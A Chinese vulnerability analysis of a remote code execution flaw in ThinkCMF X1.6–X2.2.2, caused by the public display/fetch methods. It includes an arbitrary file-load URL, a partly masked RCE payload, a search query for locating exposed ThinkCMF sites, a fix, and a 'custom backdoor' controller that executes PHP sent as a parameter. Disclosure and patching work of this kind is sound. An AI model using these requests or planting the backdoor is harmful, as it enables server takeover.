一、背景
ThinkCMF是一款基於PHP+MYSQL開發的中文內容管理框架,底層采用ThinkPHP3.2.3構建。
ThinkCMF提出靈活的應用機制,框架自身提供基礎的管理功能,而開發者可以根據自身的需求以應用的形式進行擴展。
每個應用都能獨立的完成自己的任務,也可通過系統調用其他應用進行協同工作。在這種運行機制下,開發商場應用的用戶無需關心開發SNS應用時如何工作的,但他們之間又可通過系統本身進行協調,大大的降低了開發成本和溝通成本。
二、影響版本
ThinkCMF X1.6.0
ThinkCMF X2.1.0
ThinkCMF X2.2.0
ThinkCMF X2.2.1
ThinkCMF X2.2.2
三、漏洞危害
遠程攻擊者在無需任何權限情況下,通過構造特定的請求包即可在遠程服務器上執行任意代碼。
四、漏洞挖掘
根據index.php中的配置,他的項目路徑為application,打開 Portal 下的 Controller 目錄,選擇一個控制類文件。
發現他的父類為Common\Controller\HomebaseController。
在HomeBaseController中加入如下測試代碼
ThinkPHP是一套基於MVC的應用程序框架,被分成三個核心部件:模型(M)、視圖(V)、控制器(C)。
由於添加的代碼在控制器中,根據ThinkPHP框架約定可以通過a參數來指定對應的函數名,但是該函數的修飾符必須為Public, 而添加的代碼正好符合該條件。
可以通過如下URL進行訪問,並且可以添加GET參數arg1傳遞給函數。
http://127.0.0.1/cmfx-master/?a=test_public&arg1=run%20success
HomeBaseController類中有一些訪問權限為public的函數,
重點關注display函數.看描述就是可以自定義加載模版,通過$this->parseTemplate 函數根據約定確定模版路徑,如果不符合原先的約定將會從當前目錄開始匹配。
然后調用THinkphp Controller 函數的display方法
/**
* 加載模板和頁面輸出 可以返回輸出內容
* @access public
* @param string $templateFile 模板文件名
* @param string $charset 模板輸出字符集
* @param string $contentType 輸出類型
* @param string $content 模板輸出內容
* @return mixed
*/
public function display($templateFile = '', $charset = '', $contentType = '', $content = '', $prefix = '') {
parent::display($this->parseTemplate($templateFile), $charset, $contentType,$content,$prefix);
}
再往下就是調用Think View的fetch方法,這里的TMPL_ENGINE_TYPE 為Think, 最終模版內容解析在ParseTemplateBehavior中完成
如下調用即可加載任意文件
http://127.0.0.1:81/cmfx-master/?a=display&templateFile=README.md
要利用該方法shell,還需要配合前台的一個上傳功能,通過包含自己上傳的文件來shell,難免有些麻煩。
五、影響范圍
往下面翻閱發現還有fetch方法,display方法相對fetch只是多了一個render的過程,而且這里不需要知道文件路徑
最終完美payload (打碼)
http://127.0.0.1:81/cmfx-master/?a=fetch&****=********
通過在斗象智能安全資產情報搜索關鍵字,使用ThinkCMF的站點
https://arl.riskivy.com/products/lighthouse?query=headers:%22X-Powered-By:%20ThinkCMF%22
六、修復方法
將 HomebaseController.class.php 和 AdminbaseController.class.php 類中 display 和 fetch 函數的修飾符改為 protected
七、自定義后門
可通過新建如下控制類
namespace Portal\Controller;
use Think\Controller;
class DoorController extends Controller {
public function index($content) {
parent::display('', '', '',$content, '');
}
}
由於是測試,content未做任何處理,直接傳輸php代碼即可執行。